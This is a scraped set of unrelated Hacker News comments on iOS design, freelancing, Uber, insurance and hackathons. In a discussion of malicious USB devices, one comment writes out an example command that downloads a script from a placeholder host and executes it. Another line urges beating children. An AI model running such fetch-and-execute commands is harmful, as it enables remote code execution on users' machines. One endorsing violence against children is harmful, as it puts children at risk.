skysight-inc/HackerNews huggingface dataset:
Bit over-the-top I think, with some misleading statements.

Apple still publish the HIG. See the iOS version here: https://developer.apple.com/library/ios/documentation/UserEx...

Contrary to what the article says, it does explain why various UI elements are designed as they are – not just thoughtless promotion of aesthetics over interaction.

I think people often fall back on 'nobody thought about this and it's rubbish' arguments when the reality is often closer to 'they changed this and I don't like it' – the latter is a totally valid complaint, but it's also qualitatively different.

In my personal experience, I've not seen computer-naïve users of iOS struggle to a greater degree with iOS 7+ than with any of the previous versions. YMMV of course, but I think the extent to which it's a problem is overstated.

There are a couple of exceptions, of course – the reminders app has some stupid UI decisions that irritate me. But what software doesn't? How about that floating 'create a new document' button that was in Google Docs/Sheets/etc. until recently? Every single time I opened it, I had to hunt around for the button to create a new document because it wasn't where I expected it to be. But that doesn't mean Material is awful – it just means that it's a complex, long-term challenge to create a consistent UI applicable to a wide variety of applications. And I don't think modern UX is all that bad.
The interface of the text editor is beautiful, and it's done using a surprisingly minimal amount of CSS.
Prevention is best here. What I do with new or small clients where I'm concerned about this possibility is require them to work off a retainer agreement—they prepay some block of hours or days or weeks, however I'm billing them, and I send them a bill at some frequency <= block of time (e.g. if they prepay for 2 weeks, I send them the bill weekly). The retainer is a clock ticking towards 0, and when the countdown hits zero, I stop working until the bill is paid. If I like them or there's trust building, I'll let it go a little into the red, but never more than I'm comfortable walking away from. I've learned this lesson way too many times and give clients very little rope to hang themselves with here.

The other thing to build into your contracts is that IP transfer is contingent upon payment. There have been a small but very educational number of times where I've been able to suspend a client's license to my code for non-payment. Enforcing it is somewhat more difficult if you don't also retain control of infrastructure (and this should also be spelled out in your contract), but just the understanding that they have no legal rights to the code without the consideration enumerated in the contract is enough to keep them at the table unless they're going out of business anyway (which is a different thing altogether.) And if the amounts are great enough it can be worth going to court for an injunction and you have the tools to do it this way.
I really like this approach of gamified interview prep, kind of like Duoling style learning. Practicing for interviews is hard, and this makes it a little more fun :) Good luck!
I think this gets to the heart of Uber's play. They're up against a seemingly endless string of employment-practices lawsuits, and it increasingly looks like they're not going to win.

The way out isn't to become a cheaper taxi company, or suddenly overcome entrenched protectionism in a dozen nations. It's to keep pulling in funding and stalling legal battles for just long enough to render the entire argument irrelevant.

Driver background checks? No drivers to check on.

Driver insurance? No one to insure, sue the manufacturer if you hit something.

Employee benefits for drivers? Fire all the employee-contractors.

It's obvious that automation is a huge win for Uber. The question is whether they can live long enough to preserver their first-mover advantage, and whether they can find stop-gaps to cover the interim where autonomous cars still need drivers. I wouldn't be surprised if they let licensed passengers get behind the wheel to comply with laws before full autonomy hits.
The Importance of Being EDGAR (2000)
Look at the weather report, if [high, expected, min] temperature below X degrees, suggest pants. Simple!
Who can see the feedback on quiply? Just people who work at a particular company?
Just to be clear, I'm not necessarily saying I agree with the approach. I think it might work for Netflix and other companies in certain circumstances. But like all leadership advice, every circumstance is unique to some degree and needs to be handled accordingly.

That said, I personally think there is a lot of value in certain types of generalists, but not all (or rather, not in all cases).

You see, when a company is very young, they may not have the best and brightest, but rather the people that were willing to shoulder a ton of risk, burn the midnight oil, etc. They may have been lucky to get both, but optimizing for one is not a guarantee of getting the other. So you get to a point where you can afford to hire more experienced individuals, and suddenly you might be faced with the ability to replace your current generalist with a much more experienced generalist, or a generalist that is T-shaped in their skill set.

I used to think I was T-shaped (wide range of skills, very deep in one), and then I started becoming more M-shaped because I've gone very deep down multiple paths in my career. That was when I realized the sum of the parts is greater than the whole, and it enabled me to work exceptionally well in cross-functional technical environments. Specifically in my case, I started out in the marketing/advertising world, then went deep in analytics, and have gotten progressively more technical over the course of my career in terms of coding. Turns out that happens to be a valuable generalist combination.

But even certain combinations may not be right for a company that wants someone who specialized in X for their entire career, and I respect that.

Ultimately, experienced, high-performing generalists will have a relatively easy time finding jobs either elsewhere, or within their current company as it grows. Often times that turns into leadership roles. When it doesn't is when I could see you running into more issues with finding something new to do at the current company if they have fewer generalist individual contributor roles.
How's Uber doing in Romania?
depending on the existence of a contract, not if he lives in a right to work state. 'Right to work' generally sucks like that.
DMCA Takedown – Popular PHP Barcode Removed
Property and casualty insurance spreads out risk over a large group of people during the same time period. P&C insurers have it easy. They can pay out claims from the premiums that come in, and take the leftovers as their profit.

Life insurance spreads out risk over a large span of time for the same person. Life insurers have to be more careful. They have to invest the premiums wisely, so that they will have exactly enough cash on hand to pay out the amount of the policy on the expected date it comes due (along with some profit). If the person dies earlier than expected, they could lose money. If the person dies later, they could get more profit. Furthermore, if the investment market is unexpectedly good or bad, that affects the insurer's ability to pay the benefit. Life insurers can rely on the fact that while all people eventually die, they don't all croak at once. There's actually a predictable rate, so if you get enough people to buy policies, you're never paying out more than you take in.

Disaster insurance is more like life insurance, but even harder to pull off, because all those benefits are probably going to be paid at exactly the same time. So what insurers have to do is take that gigantic, elephant-choking payout and let each underwriter take a little bite of it, until it's all accounted for. They're spreading the risk over multiple people, long periods of time, and multiple investors. And even so, thanks to the fact that it is essentially an enforced savings scheme, a big enough disaster would be a shock to the financial markets.

But there's no way around that. If a storm destroys one of your windows, you're going to be buying a new window, instead of some other thing that you may have wanted more. If it destroys your whole town, a lot of money is going to shift from savings and investments into construction.

There is some advantage to having disaster insurance. First off, ordinary people are absolutely horrible at reasonably judging risks. Second, we are also pretty bad at compartmentalizing our savings and investments. If you have a 100-Year Flood fund, and a Yellowstone Goes Kablooie fund, and a Bad Tornado Season fund, and your grocery budget stands at $20 for this month, would you have the fortitude to eat nothing but beans and rice for four weeks? And third, institutional investors manage money better than a lot of individuals, and can take better advantage of the tax laws. It isn't hard to just dump everything into the Fideliguard Some of Everything Index Fund, but some people still put all their money in an ordinary commercial bank savings account, where the interest doesn't even cover the monthly service fees, but it still gets taxed.

But as you say, a lot of those advantages can disappear to just one bad actor in the insurance company trying to cheat a little for some personal gain. The best thing people can do to manage disasters is to be aware of their own risks, and to plan ahead only for those scenarios that have a reasonable likelihood of occurring.
Jeff Atwood did not come up with that quote.
I think PG is a great database, but I don't see what makes it a good fit for a distributed system. You're going to either give up too much performance or a lot of the guarantees that make standard SQL databases interesting in the first place.
quiply is outside the corporate firewall. All quiply content is viewable by all registered users.
Do you use this for "from scratch" development or only for ongoing development?
"The North" = "Canada" now in terms of media. The Raptors have embraced it ("We the North"), and honestly I think most Canadians are perfectly fine with the name, even enjoy it. Anything even remotely related to social media now uses "The North" to refer to Canada.
Did an airline auction off your luggage?
I did exactly the same thing several weeks ago, for my own state machine implementation.

https://www.npmjs.com/package/mistic
Motion sensing seems like a better solution to me. I can imagine looking from diagonally across the room wanting a quick glance at the current temp outside and it not showing up because it doesn't see my face.
Another good question is, "can the usb device determine the OS that manages it?" If so, it could have customized solutions for each type of computer.
What's the connection between Uber and Robotics? Computer vision for driving?
We made a similar project last year with voice controller

https://www.facebook.com/mcouzinet/videos/10152455989859166/...
My pet conspiracy theory is that Apple is trying to kill desktops by giving its desktop users the equivalent of a laptop keyboard (and for an exorbitant amount too.)
With regard to “why do I have to exit messages to scroll through a list of my contacts”: are you aware that you can start a new message and either start typing in the “To” field or tap the + button to bring up your list of contacts? Is there something else you’re looking for?
Discipline your children Beat their ass
Fantastic reply, thanks for this Brandon. I know that Kyle Kingsbury aka "aphyr, destroyer of distributed systems" broke etcd and at the time (before you wrote a new raft library), consul faired quite a bit better than consul.

Are you using his jepesen testing tool as part of your testing for failure scenarios? If not, why?
Really impressive. Must be pretty sensitive IR sensors to not have false detections when the marker/eraser gets close to the board but doesn't touch it. Any info on the hardware and software stack?
This might be a little off topic but I heard on the other hand that Stanford's business school was an underdog pre 1990s. Do you know if there's any truth to that?
I've had conclusive data that a 3D-looking button was converting significantly better but have been overruled because of the "sleek", "clean" bullshit that passes for design these days.
Worse still, since the latest Music update, if there's a way to play through an artist's entire discography, I can no longer find it. And I've been hating for so long the lack of ability to sort by ascending album year so I can match my laptop's iTunes organization.

I cannot tell what kind of repeat is on, or if I hit the target at all. There is no button feedback in Music to indicate my touch actually registered. Hell, it may be my iPhone touch sensors are fucked, but I usually have to hit the play/pause, backward/forward buttons multiple times to register a tap. It feels like the hit boxes are smaller since iOS 7—never had any problems playing/pausing or executing prev/next song actions. Now, it ignores my taps at least 50% of the time. Curiously, the new heart button likes to swallow all my taps meant for the prev/back button.

Music has become the biggest piece of shit since 7 landed. It gets worse every release.
I believe the term for things like this is an 'information radiator'. The benefit of ambient displays is they're always on so you don't need to seek any information out. It's just there.

They're quite popular in the agile community. Digital signage and wallboards everywhere. The downside is you can become conditioned to them and not notice things over time.

This is quite old but sums is up:
https://www.atlassian.com/wallboards/information-radiators.j...
I'd say that inexperienced Lisp programmers are likely to be classed as inexperienced based on far deeper issues than formatting. The sort of things that keep code from running correctly or at all. YMMV.
Is feedback on quiply anonymous?
The presentation is making it sound like a "test area" , throw some money and see if it works or not . I feel , what you are writing right now is pitch for yourself and sadly its not working .
Petrodollar starts in the 70s causing exponential inflation in the 80s.
Perhaps a light sensor? You are not going to use your mirror in a dark room. Unless you want the display to show up in the dark, but personally I wouldn't want that.
For anyone who is still looking for a place to crash: https://www.stay22.com/events/hack-the-north

We offer Airbnbs and Hotels around the campus

For the organizers..if you want you can embed directly on the website to help other attendees: https://www.stay22.com/events/hack-the-north?promptembed=tru...
Silicon Valley's Labor Uprising
The earth isn't suitable for human habitation. We spent unimaginable amounts of lives and created tons of suffering to create the world we now inhabited. It seems, to me, odd to say enough is enough when a few houses are in danger of burning out.
Yes, and worse it could do something like:

ALT+F2 wget http://example.com/badscript.sh && chmod 755 ~/badscript.sh && ~/badscript.sh &

Which is not so good...
An important distinction for sure. I wonder if this will make academic jobs more competitive with corporate jobs at those levels.

Side question, but where is the line drawn between something being considered "robotics" vs. something else? For example...is a Nest a robot? If it controls the temperature in my home by regulating various valves and such, isn't that robotic, even if the device isn't physically moving from thermostat to thermostat to change the temperature?
Looks like it did actually have an FP+ on the eraser there if you compare the phone to what he actually erased onscreen.

I'll second the request for more info though!
Can the "two way mirror" be created with "reflective window tint" (insulfilm in Brazil) glued onto a transparent acrylic sheet?
That makes it impossible to use laptops with broken keyboards, and makes it a hell to use anything with KVMs plugged.

The jimrandomh's idea very interesting. The only problem is defining what is the user's login password, but I'm sure it can be solved.
Even if they do research it's a vastly different context. <70s was niche and rich. Nowadays it's for the mainstream. I recently learned that Xerox GUI had an OO copy function. A generic one, for any object. When Jobs and Gates took the GUI, they mostly brought the metaphor, not the underlying ideas.
I wonder if it is possible to fingerprint USB keyboards of same make (with same dummy serial number) to tell them apart. For example one could try to exploit frequency deviations of the crystal oscillator in the keyboard.
Impressive. What platform did you build this on?
Fairly neat. Consider the listing status of the video. Right now it is discouraging people from sharing.
AllNurses.com founder kills family and himself
Yes, source code is re-evaluating for every change now. It may be improved in the future.
The point about having an hybrid device is that you can use it in different ways, ex. as a laptop when you are doing productive work, or as a tablet when you just want to relax and check social networks or play some games. You don't need to purchase 2 different devices.

The fact that you are using a "pro" device doesn't mean you wouldn't want to use "non-pro" apps, and having a full-featured Android subsystem (which emulates ARM if needed) is a good advantage when you want to use apps that don't exist in the Windows market, or want to use your previous purchases in markets like Amazon or Google Play.

Remember that several companies just focus in releasing iOS and Android apps and fall back to the web version for desptop, which usually is not optimized with a touch-friendly workflow.
As someone who answered questions about ios 8 for people that have never used it. Its not as intuitive as people think.

The "switch" icons (or described to me as two circles next to one another) seem to be a source of confusion. Which direction is on? Why?
Perhaps in support of your point, Microsoft's hardware products (keyboards, Xboxes, the Surfaces) are excellent. Despite being an ardent Linux user, I always buy Microsoft keyboards.
Thanks for the feedback! It's definitely early and we definitely plan on expanding to cover more types of trips, like road trips and bachelor parties and vacations, but for beta we wanted to keep it simple and stick to camping. I eventually want to make it like a group tripit, tracking flights, hotels, and rental cars, etc (not to mention make it more user friendly than tripit)

All your bullet points have been added to our backlog. Eventually I'll add a mobile app which will definitely include a packing list.

Integrating with Facebook and Dropbox and other storage providers is also on our list.

I figured the Discussion box was a good enough "scratch space" for trip members to discuss ideas for things to do, then when you decide on an activity, you could formally add it in the Schedule tab.

Thanks again for the feedback!
> "We're a pick-up service representing the customer; we're not a delivery service representing the restaurant. There's a big difference," Dass says.

And yet, when a steak arrives cold, the customer calls the restaurant.
To be fair, the details of why statement one is true are still interesting though.
Its a great name for a Hackathon, our country is north of the US, in the northern hemipshere, our national anthem states: "true north strong and free", deal with it.
I'd argue that MS did a great job with flat design in Windows Phone 7 because they were willing to sacrifice aesthetics for consistency. Everything on WP7 was stark black backgrounds, which made it really obvious what was a button - a colored box was always clickable.

The moment you let graphic designers in who care about making things look good, flat design falls apart because they want to change it up.

Flat works if you let the designers construct the design language and then never let them near the actual individual UIs and get tempted to deviate from their original language.
Same for Android 5 over 4.4. It was an awkward pivot, many regression, many gains. A somehow different way of doing things. I'm less and less fond of the generic and design trend, it takes few, yet far too much interactions to use my phone to... phone. But I forgot, these aren't phones.
All feedback on quiply is anonymous (even to us).
The tourism people aren't so hyped on the dark-and-frozen imagery. Waterloo is currently 25* and sunny. I was talking to a real estate agent last week who had to reassure an overseas buyer that Canadian summers do exist, that a heated driveway was not a necessity in Vancouver.
I'm sure the math looks great, but in the real world with intelligent agents, LIFO is unworkable.

The obvious strategy is to avoid entering the LIFO queue until right before a servicer is about to open up. Which then implies a FIFO queue will form for whoever is able to best enter the LIFO queue immediately before a dequeue. If the LIFO queue manager insists on adding people to the queue before they want, then that simply moves the "event horizon" further away and the FIFO will form there.

In the event they attempt track your face or otherwise make the event horizon stateful, then bring a disguise.

Frankly, I'd be happy if more places simply used a single queue to reduce variance, and if people waiting more than a few minutes were compensated for their time to avoid the moral hazard of intentional understaffing.
Whistler Weekend Getaway Guide
> dismissing all softer things

Not something I did at all. I just don't like one specific kind of literature and how it's presented.
What did Leonardo DaVinci do? What a waste of a human being. He just made dumb marks on paper with a pencil. Who cares? And we are supposed to look up to this guy? Whose life did this guy save?

Elon Musk didn't do anything. He just told some people to build an electric car. What a dumbass, I am supposed to respect this guy? When is the last time he engineered anything?

Thomas Edison, what an asshole. What did he do anyways? He had some schmuck scientists test a bunch of metal filaments or something.

Anyone who honestly listens to Bill Burr and nods their head in agreement. Really? What is this even doing on Hacker News?
Wow - this is amazing!
This is a repost... didn't get enough love last week. Maybe if it was renamed SlowStartJS or something....
Google must be working on something to fix slow start already, if not then I'm sure Hooli XYZ has something in the works!
I guess if you're more of an Anarchist, you could go to Somolia, or Afghanistan, parts of both are considered fallen states with no actual government.
Huawei did a demo few months ago?

I didn't know IFA 2015 was few months ago.
This is a big part of why I've been reluctant to buy an iOS device.

Originally it was because of the requirement to use the first-party keyboard software, but now it's because they've changed the design language in a way that conflicts with everything but iOS - and as a result, the UI feels remarkably unintuitive and confusing, even if it makes sense internally.
Skeet shooting, which was mixed in the Olympics until a woman won, after which it was gender segregated. ;)
HackStore: free alternative of App Store
Black Monday – The Stock Market Crash of 1987
I took a similar path in education as you. It was my junior year, I was halfway through what should have been a 20ish page essay analyzing a 3 stanza poem when I began second guessing my decision. I switched majors to Political Science the following semester and found it was much easier to make arguments based on hard data rather than guessing at the artist's intentions.

Most of my colleagues in my English program went on to law school, which dovetails nicely with that analytical type of mind but as you say, endless dissection robs the work of what attracted me to it in the first place. After graduating, it took me a few years to get back into fiction (longer still to poetry).
I have used the full size apple keyboard and MBP keyboard for years and like them both just fine. I have a friend with RSI and he needs a keyboard with a longer stroke, but that's a personal thing.
JS and slow, thats redundant!